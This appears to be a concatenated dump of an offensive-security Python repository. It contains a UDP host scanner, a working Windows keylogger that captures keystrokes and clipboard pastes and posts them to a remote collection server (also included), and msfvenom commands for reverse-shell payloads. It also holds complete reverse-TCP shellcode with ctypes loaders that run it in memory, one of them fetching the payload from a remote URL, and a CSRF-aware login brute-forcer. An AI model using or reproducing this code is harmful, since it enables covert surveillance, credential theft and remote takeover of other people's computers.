code, checksum, data 14 | 15 | def parse_ipv4(raw_data): 16 | version = (raw_data[0] >> 4) 17 | header_length = (raw_data[0] & 0x0f) * 4 18 | top = raw_data[1] 19 | total_length = struct.unpack("!H", raw_data[2:4])[0] 20 | iden = struct.unpack("!H", raw_data[4:6])[0] 21 | flags_fs = struct.unpack("!H", raw_data[6:8])[0] 22 | flags = flags_fs >> 13 23 | fs = flags_fs & 0x1fff 24 | ttl = struct.unpack("!B", raw_data[8:9])[0] 25 | proto = struct.unpack("!B", raw_data[9:10])[0] 26 | header_checksum = struct.unpack("!H", raw_data[10:12])[0] 27 | src_addr = struct.unpack("!L", raw_data[12:16])[0] 28 | dst_addr = struct.unpack("!L", raw_data[16:20])[0] 29 | data = raw_data[header_length:] 30 | src_addr = get_ip(src_addr) 31 | dst_addr = get_ip(dst_addr) 32 | return (version, 33 | header_length, 34 | total_length, 35 | ttl, 36 | proto, 37 | header_checksum, 38 | src_addr, 39 | dst_addr, 40 | data) 41 | 42 | def get_ip(addr): 43 | first_octet = (addr >> 24) & 0xff 44 | second_octet = (addr >> 16) & 0xff 45 | third_octet = (addr >> 8) & 0xff 46 | fourth_octet = addr & 0xff 47 | return '.'.join(map(str, [first_octet, second_octet, third_octet, fourth_octet])) 48 | 49 | def parse_udp(raw_data): 50 | src_port, dest_port, size, checksum = struct.unpack('! H H H H', raw_data[:8]) 51 | return src_port, dest_port, size, checksum, raw_data[8:] 52 | 53 | def send_discovery_udp(host, msg, time_to_sleep=0.1): 54 | global DONE 55 | for host in ipaddress.IPv4Network(host).hosts(): 56 | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: 57 | s.sendto(msg.encode(), (str(host), 9999)) 58 | sleep(time_to_sleep) 59 | DONE = True 60 | 61 | def start_sniffer(msg): 62 | with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as s: 63 | try: 64 | while not DONE: 65 | raw_data, addr = s.recvfrom(65535) 66 | 67 | (ipv4_version, 68 | ipv4_header_length, 69 | ipv4_total_length, 70 | ipv4_ttl, 71 | ipv4_proto, 72 | ipv4_header_checksum, 73 | ipv4_src_addr, 74 | ipv4_dst_addr, 75 | ipv4_data) = parse_ipv4(raw_data) 76 | 77 | # ICMP 78 | if ipv4_proto == 1: 79 | # If the source is the same as the target, then we should ignore it. 80 | if(ipv4_src_addr == ipv4_dst_addr): continue 81 | icmp_packet_type, icmp_code, icmp_checksum, icmp_data = parse_icmp(ipv4_data) 82 | """ 83 | print('\t -' + 'ICMP Packet:') 84 | print('\t\t -' + 'Type: {}, Code: {}, Checksum: {},'.format(icmp_packet_type, icmp_code, icmp_checksum)) 85 | print('\t\t -' + 'ICMP Data:') 86 | 87 | print('\t\t -' + repr(icmp_data[4:])) 88 | """ 89 | (ipv4_version2, 90 | ipv4_header_length2, 91 | ipv4_total_length2, 92 | ipv4_ttl2, 93 | ipv4_proto2, 94 | ipv4_header_checksum2, 95 | ipv4_src_addr2, 96 | ipv4_dst_addr2, 97 | ipv4_data2) = parse_ipv4(icmp_data[4:]) 98 | """ 99 | print('\t\t\t -' + 'IPv4 Packet:') 100 | print('\t\t\t\t -' + 'Version: {}, Header Length: {}, TTL: {},'.format(ipv4_version2, ipv4_header_length2, ipv4_ttl2)) 101 | print('\t\t\t\t -' + 'Protocol: {}, Source: {}, Target: {}'.format(ipv4_proto2, ipv4_src_addr2, ipv4_dst_addr2)) 102 | """ 103 | 104 | (udp_src_port, 105 | udp_dest_port, 106 | udp_size, 107 | udp_checksum, 108 | udp_data) = parse_udp(ipv4_data2) 109 | """ 110 | print('\t\t\t\t -' + "UDP Segment:") 111 | print('\t\t\t\t -' + f"Source Port: {udp_src_port} Destination Port: {udp_dest_port}, Length: {udp_size}, Checksum: {udp_checksum}") 112 | """ 113 | if(udp_data == msg.encode()): 114 | print(f"{ipv4_src_addr} is alive!") 115 | 116 | except KeyboardInterrupt: 117 | print("Exit by user") 118 | 119 | DONE = False 120 | def main(): 121 | if(getuid() != 0): 122 | print("This script must be run as root!") 123 | sys.exit(0) 124 | 125 | if(len(sys.argv) != 2): 126 | print(f"python {sys.argv[0]} ") 127 | print(f"python {sys.argv[0]} 192.168.1.5") 128 | print(f"python {sys.argv[0]} 192.168.1.0/24") 129 | sys.exit(0) 130 | 131 | msg = "ilikekombucha!" 132 | 133 | t = threading.Thread(target=send_discovery_udp, args=(sys.argv[1], msg)) 134 | 135 | t.start() 136 | 137 | start_sniffer(msg) 138 | 139 | if __name__ == "__main__": 140 | main() 141 | -------------------------------------------------------------------------------- /code/network/udp_discovery/udp_host_discovery_asyncio.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import asyncio 3 | import random 4 | import ipaddress 5 | 6 | 7 | class HostDiscoverer: 8 | def __init__(self, message, on_con_lost, host, tries, i): 9 | self.message = message 10 | self.on_con_lost = on_con_lost 11 | self.host = host 12 | self.tries = tries 13 | self.current_iteration = i 14 | self.transport = None 15 | 16 | def connection_made(self, transport): 17 | self.transport = transport 18 | self.transport.sendto(self.message.encode()) 19 | 20 | def datagram_received(self, data, addr): 21 | self.tries[self.current_iteration] = True 22 | self.transport.close() 23 | 24 | def error_received(self, exc): 25 | if(exc.errno == 111): 26 | self.tries[self.current_iteration] = True 27 | self.transport.close() 28 | 29 | if(all(self.tries)): 30 | print(f"{self.host} is alive!") 31 | 32 | def connection_lost(self, exc): 33 | pass 34 | 35 | async def run(host): 36 | tries = [False, False, False] 37 | 38 | message = "ilikekombucha!" 39 | 40 | for i in range(3): 41 | loop = asyncio.get_running_loop() 42 | on_con_lost = loop.create_future() 43 | transport, protocol = await loop.create_datagram_endpoint( 44 | lambda: HostDiscoverer(message, on_con_lost, host, tries, i), 45 | remote_addr=(host, random.randrange(10000, 65535))) 46 | try: 47 | await asyncio.wait_for(on_con_lost, timeout=1) 48 | except asyncio.exceptions.TimeoutError: 49 | pass 50 | finally: 51 | transport.close() 52 | 53 | async def main(): 54 | coros = [run(str(host)) for host in ipaddress.IPv4Network(sys.argv[1]).hosts()] 55 | await asyncio.gather(*coros) 56 | 57 | asyncio.run(main()) 58 | -------------------------------------------------------------------------------- /code/python_malware/keylogger/constants.py: -------------------------------------------------------------------------------- 1 | DATABASE = "keylogger.sqlite" 2 | -------------------------------------------------------------------------------- /code/python_malware/keylogger/keylogger_database.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | from constants import DATABASE 3 | import sys 4 | 5 | def create_db(db_file): 6 | conn = None 7 | try: 8 | conn = sqlite3.connect(db_file) 9 | except Exception as e: 10 | print(e) 11 | return conn 12 | 13 | def init_db(conn): 14 | keylogger_results_table = """CREATE TABLE IF NOT EXISTS keylogger_results ( 15 | id integer PRIMARY KEY, 16 | ip_address text NOT NULL, 17 | executable_name text NOT NULL, 18 | process_id integer NOT NULL, 19 | window_title text NOT NULL, 20 | keys text NOT NULL 21 | );""" 22 | try: 23 | c = conn.cursor() 24 | c.execute(keylogger_results_table) 25 | except Exception as e: 26 | print(e) 27 | 28 | def insert_keylog(conn, ip_addr, exec_name, process_id, window_title, keys): 29 | sql = """INSERT INTO keylogger_results( 30 | ip_address, 31 | executable_name, 32 | process_id, 33 | window_title, 34 | keys) 35 | VALUES(?, ?, ?, ?, ?)""" 36 | try: 37 | c = conn.cursor() 38 | c.execute(sql, (ip_addr, exec_name, process_id, window_title, keys)) 39 | conn.commit() 40 | return c.lastrowid 41 | except Exception as e: 42 | print(e) 43 | 44 | def get_keylogs(conn): 45 | try: 46 | c = conn.cursor() 47 | c.execute("SELECT * FROM keylogger_results") 48 | return c.fetchall() 49 | except Exception as e: 50 | print(e) 51 | 52 | def delete_keylogs(conn): 53 | try: 54 | c = conn.cursor() 55 | deleted_rows_count = c.execute("DELETE FROM keylogger_results").rowcount 56 | conn.commit() 57 | return deleted_rows_count 58 | except Exception as e: 59 | print(e) 60 | 61 | if __name__ == "__main__": 62 | if(len(sys.argv) != 2): 63 | print(f""" 64 | python {sys.argv[0]} --show-keylogs 65 | python {sys.argv[0]} --delete-keylogs 66 | """) 67 | else: 68 | conn = create_db(DATABASE) 69 | init_db(conn) 70 | if(sys.argv[1] == "--show-keylogs"): 71 | keylogs = get_keylogs(conn) 72 | for row in keylogs: 73 | kid, ip, exec_name, pid, window_title, keys = row 74 | print(f"{kid} - {ip} - {exec_name} - {pid} - {window_title} - {keys}") 75 | elif(sys.argv[1] == "--delete-keylogs"): 76 | delete_keylogs_count = delete_keylogs(conn) 77 | print(f"{delete_keylogs_count} rows have been removed") 78 | else: 79 | print("Unrecognized option.") 80 | print(f""" 81 | python {sys.argv[0]} --show-keylogs 82 | python {sys.argv[0]} --delete-keylogs 83 | """) 84 | -------------------------------------------------------------------------------- /code/python_malware/keylogger/keylogger_server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, abort 2 | from keylogger_database import ( 3 | create_db, 4 | init_db, 5 | insert_keylog, 6 | get_keylogs) 7 | from constants import DATABASE 8 | 9 | app = Flask(__name__) 10 | 11 | def parse_json(my_json): 12 | for exec_name in my_json.keys(): 13 | for window_title in my_json[exec_name].keys(): 14 | pid, keys = my_json[exec_name][window_title].values() 15 | yield exec_name, window_title, int(pid), keys 16 | 17 | @app.route("/add_keylogs", methods=["POST"]) 18 | def add_keylogs(): 19 | if(request.json == None): 20 | return abort(403, description="invalid request has been provided!") 21 | conn = create_db(DATABASE) 22 | init_db(conn) 23 | for exec_name, window_title, pid, keys in parse_json(request.json): 24 | insert_keylog(conn, request.remote_addr, exec_name, pid, window_title, keys) 25 | return "OK" 26 | 27 | if __name__ == "__main__": 28 | app.run(host='0.0.0.0', port=80) 29 | -------------------------------------------------------------------------------- /code/python_malware/keylogger/win_keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import ( 2 | windll, 3 | c_ulong, 4 | create_string_buffer, 5 | byref 6 | ) 7 | from time import sleep 8 | from requests import post 9 | from threading import Thread 10 | 11 | import sys 12 | import pythoncom 13 | import pyWinhook 14 | import win32clipboard 15 | 16 | user32 = windll.user32 17 | kernel32 = windll.kernel32 18 | psapi = windll.psapi 19 | current_window = None 20 | 21 | keylogger_result = {} 22 | current_pid = 0 23 | current_exec_name = "" 24 | current_window_title = "" 25 | 26 | 27 | def add_info(process_id, executable_name, window_title, key=""): 28 | global keylogger_result 29 | 30 | # if executable_name does not exist, then we create a new one. 31 | if(keylogger_result.get(executable_name) == None): 32 | keylogger_result.update({ 33 | executable_name: { 34 | window_title : { 35 | "process_id": process_id, 36 | "keys": key 37 | } 38 | } 39 | }) 40 | # if it exists.. 41 | elif(keylogger_result.get(executable_name) != None): 42 | # if there is a window title, then add keys to it. 43 | if(keylogger_result[executable_name].get(window_title) != None): 44 | keylogger_result[executable_name].update({ 45 | window_title : { 46 | "process_id": process_id, 47 | "keys": keylogger_result[executable_name][window_title]["keys"] + key 48 | } 49 | }) 50 | # if there is no window title, we create a new one with empty key. 51 | else: 52 | keylogger_result[executable_name].update({ 53 | window_title : { 54 | "process_id": process_id, 55 | "keys": key 56 | } 57 | }) 58 | 59 | def sender(host): 60 | global keylogger_result 61 | while True: 62 | sleep(10) 63 | if(keylogger_result): 64 | try: 65 | post(f"http://{host}/add_keylogs", json=keylogger_result) 66 | keylogger_result = {} 67 | except: 68 | pass 69 | 70 | def get_current_process(): 71 | # get a handle to the foreground window 72 | hwnd = user32.GetForegroundWindow() 73 | 74 | # find the process ID 75 | pid = c_ulong(0) 76 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 77 | 78 | # store the current process ID 79 | process_id = str(pid.value) 80 | 81 | # grab the executable 82 | executable = create_string_buffer(b'\x00' * 512) 83 | # PROCESS_QUERY_INFORMATION | PROCESS_VM_READ 84 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 85 | 86 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 87 | 88 | # now read its title 89 | window_title = create_string_buffer(b'\x00' * 512) 90 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 91 | 92 | # add the window info to keylog result. 93 | add_info(process_id, executable.value.decode("utf-8", "replace"), window_title.value.decode("utf-8", "replace")) 94 | 95 | # close handles 96 | kernel32.CloseHandle(hwnd) 97 | kernel32.CloseHandle(h_process) 98 | 99 | return process_id, executable.value.decode("utf-8", "replace"), window_title.value.decode("utf-8", "replace") 100 | 101 | def key_pressed(event): 102 | global current_window 103 | global current_pid, current_exec_name, current_window_title 104 | # check to see if target changed windows 105 | if event.WindowName != current_window: 106 | current_window = event.WindowName 107 | current_pid, current_exec_name, current_window_title = get_current_process() 108 | # if they pressed a standard key 109 | if 32 < event.Ascii < 127: 110 | # add pressed key to the result 111 | add_info(current_pid, current_exec_name, current_window_title, chr(event.Ascii) + " ") 112 | else: 113 | # if [Ctrl-V], get the value on the clipboard 114 | # added by Dan Frisch 2014 115 | if event.Key == "V": 116 | win32clipboard.OpenClipboard() 117 | pasted_value = win32clipboard.GetClipboardData() 118 | win32clipboard.CloseClipboard() 119 | # add pasted content to keylog result 120 | add_info(current_pid, current_exec_name, current_window_title, f"[PASTE] -> {pasted_value}" + " ") 121 | else: 122 | # add special keys to keylog result 123 | add_info(current_pid, current_exec_name, current_window_title, f"[{event.Key}]"+ " ") 124 | 125 | # print(keylogger_result) 126 | # pass execution to next hook registered 127 | return True 128 | 129 | if __name__ == "__main__": 130 | if(len(sys.argv) != 2): 131 | print(f"python {sys.argv[0]} ") 132 | print(f"python {sys.argv[0]} 192.168.10.179") 133 | else: 134 | # create and register a hook manager 135 | kl = pyWinhook.HookManager() 136 | kl.KeyDown = key_pressed 137 | 138 | # create sender thread 139 | t = Thread(target=sender, args=(sys.argv[1],)) 140 | t.start() 141 | # register the hook and execute forever 142 | kl.HookKeyboard() 143 | pythoncom.PumpMessages() 144 | -------------------------------------------------------------------------------- /code/python_malware/shellcode_ctypes/notes.txt: -------------------------------------------------------------------------------- 1 | shellcode in python format (32-bit): 2 | msfvenom -f python -p windows/shell_reverse_tcp LHOST=192.168.10.179 LPORT=9999 -v shellcode 3 | shellcode in python format (64-bit): 4 | msfvenom -f python -p windows/x64/shell_reverse_tcp LHOST=192.168.10.179 LPORT=9999 -v shellcode 5 | 6 | shellcode.b64: 7 | msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.10.179 LPORT=9999 | base64 -w 0 > shellcode.b64 8 | -------------------------------------------------------------------------------- /code/python_malware/shellcode_ctypes/sample_shellcode_32bit.txt: -------------------------------------------------------------------------------- 1 | shellcode = b"" 2 | shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0" 3 | shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b" 4 | shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61" 5 | shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" 6 | shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11" 7 | shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3" 8 | shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6" 9 | shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" 10 | shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b" 11 | shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" 12 | shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" 13 | shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" 14 | shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" 15 | shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" 16 | shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" 17 | shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" 18 | shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" 19 | shellcode += b"\x6a\x05\x68\xc0\xa8\x0a\xb3\x68\x02\x00\x27" 20 | shellcode += b"\x0f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74" 21 | shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75" 22 | shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d" 23 | shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12" 24 | shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" 25 | shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" 26 | shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" 27 | shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" 28 | shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2" 29 | shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 30 | shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" 31 | shellcode += b"\x6a\x00\x53\xff\xd5" 32 | 33 | -------------------------------------------------------------------------------- /code/python_malware/shellcode_ctypes/sample_shellcode_64bit.txt: -------------------------------------------------------------------------------- 1 | shellcode = b"" 2 | shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41" 3 | shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48" 4 | shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20" 5 | shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31" 6 | shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20" 7 | shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41" 8 | shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0" 9 | shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67" 10 | shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" 11 | shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34" 12 | shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac" 13 | shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" 14 | shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" 15 | shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 16 | shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" 17 | shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" 18 | shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" 19 | shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" 20 | shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f" 21 | shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81" 22 | shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02" 23 | shellcode += b"\x00\x27\x0f\xc0\xa8\x0a\xb3\x41\x54\x49\x89" 24 | shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff" 25 | shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" 26 | shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31" 27 | shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48" 28 | shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0" 29 | shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 30 | shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff" 31 | shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" 32 | shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50" 33 | shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d" 34 | shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01" 35 | shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89" 36 | shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff" 37 | shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89" 38 | shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31" 39 | shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d" 40 | shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6" 41 | shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" 42 | shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" 43 | shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5" 44 | -------------------------------------------------------------------------------- /code/python_malware/shellcode_ctypes/shellcode1.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | 3 | # msfvenom -f python -p windows/x64/shell_reverse_tcp LHOST=192.168.10.179 LPORT=9999 -v shellcode 4 | shellcode = b"" 5 | shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41" 6 | shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48" 7 | shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20" 8 | shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31" 9 | shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20" 10 | shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41" 11 | shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0" 12 | shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67" 13 | shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" 14 | shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34" 15 | shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac" 16 | shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" 17 | shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" 18 | shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 19 | shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" 20 | shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" 21 | shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" 22 | shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" 23 | shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f" 24 | shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81" 25 | shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02" 26 | shellcode += b"\x00\x27\x0f\xc0\xa8\x0a\xb3\x41\x54\x49\x89" 27 | shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff" 28 | shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" 29 | shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31" 30 | shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48" 31 | shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0" 32 | shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 33 | shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff" 34 | shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" 35 | shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50" 36 | shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d" 37 | shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01" 38 | shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89" 39 | shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff" 40 | shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89" 41 | shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31" 42 | shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d" 43 | shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6" 44 | shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" 45 | shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" 46 | shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5" 47 | 48 | def main(): 49 | # Specifying the return type for VirtualAlloc 50 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p 51 | # Allocating space for the shellcode 52 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_void_p(0), 53 | ctypes.c_uint(len(shellcode)), 54 | ctypes.c_uint(0x3000), 55 | ctypes.c_uint(0x40)) 56 | 57 | # shellcode to char array 58 | buf = ctypes.create_string_buffer(shellcode) 59 | 60 | # copying shellcode to memory 61 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), 62 | buf, 63 | ctypes.c_uint(len(shellcode))) 64 | 65 | # run our shellcode as a thread 66 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_uint(0), 67 | ctypes.c_uint(0), 68 | ctypes.c_void_p(ptr), 69 | ctypes.c_void_p(0), 70 | ctypes.c_uint(0), 71 | ctypes.pointer(ctypes.c_uint(0))) 72 | 73 | # waiting for the thread to stop execution. 74 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_void_p(ht), ctypes.c_uint(-1)) 75 | 76 | if __name__ == "__main__": 77 | main() 78 | -------------------------------------------------------------------------------- /code/python_malware/shellcode_ctypes/shellcode2.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import base64 3 | from time import sleep 4 | from urllib import request 5 | 6 | # msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.10.179 LPORT=9999 | base64 -w 0 > shellcode.b64 7 | URL = "http://192.168.43.130:8000/shellcode.b64" 8 | 9 | def get_shellcode(URL): 10 | try: 11 | with request.urlopen(URL) as response: 12 | shellcode = base64.decodebytes(response.read()) 13 | except: 14 | return None 15 | else: 16 | return shellcode 17 | 18 | 19 | def main(): 20 | 21 | # This will loop forever until the shellcode is recieved and is in correct format. 22 | while (shellcode := get_shellcode(URL)) == None: sleep(60) 23 | 24 | # Specifying the return type for VirtualAlloc 25 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p 26 | # Allocating space for the shellcode 27 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_void_p(0), 28 | ctypes.c_uint(len(shellcode)), 29 | ctypes.c_uint(0x3000), 30 | ctypes.c_uint(0x40)) 31 | 32 | # shellcode to char 33 | buf = ctypes.create_string_buffer(shellcode) 34 | 35 | # copying shellcode to memory 36 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), 37 | buf, 38 | ctypes.c_uint(len(shellcode))) 39 | 40 | # run our shellcode as a thread 41 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_uint(0), 42 | ctypes.c_uint(0), 43 | ctypes.c_void_p(ptr), 44 | ctypes.c_void_p(0), 45 | ctypes.c_uint(0), 46 | ctypes.pointer(ctypes.c_uint(0))) 47 | 48 | # waiting for the thread to stop execution. 49 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_void_p(ht), ctypes.c_uint(-1)) 50 | 51 | if __name__ == "__main__": 52 | main() 53 | -------------------------------------------------------------------------------- /code/web/brute_force/bruteforce_pcpapp.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | 4 | def get_csrf_token(res): 5 | token_index = res.text.find("_token") 6 | token = res.text[token_index:].split('"')[2] 7 | return token 8 | 9 | def check_creds(s, email, password): 10 | res = s.get("http://172.16.238.100/login") 11 | token = get_csrf_token(res) 12 | res = s.post("http://172.16.238.100/login", data={ 13 | "_token": token, 14 | "email": email, 15 | "password": password}) 16 | 17 | if("Sign Out" in res.text): 18 | print("[+] Valid credentials found:", email, password) 19 | return True 20 | else: 21 | return False 22 | 23 | def main(email, password_file): 24 | s = requests.Session() 25 | with open(password_file) as f: 26 | for password in f: 27 | if(check_creds(s, email, password.strip())): 28 | break 29 | 30 | if __name__ == 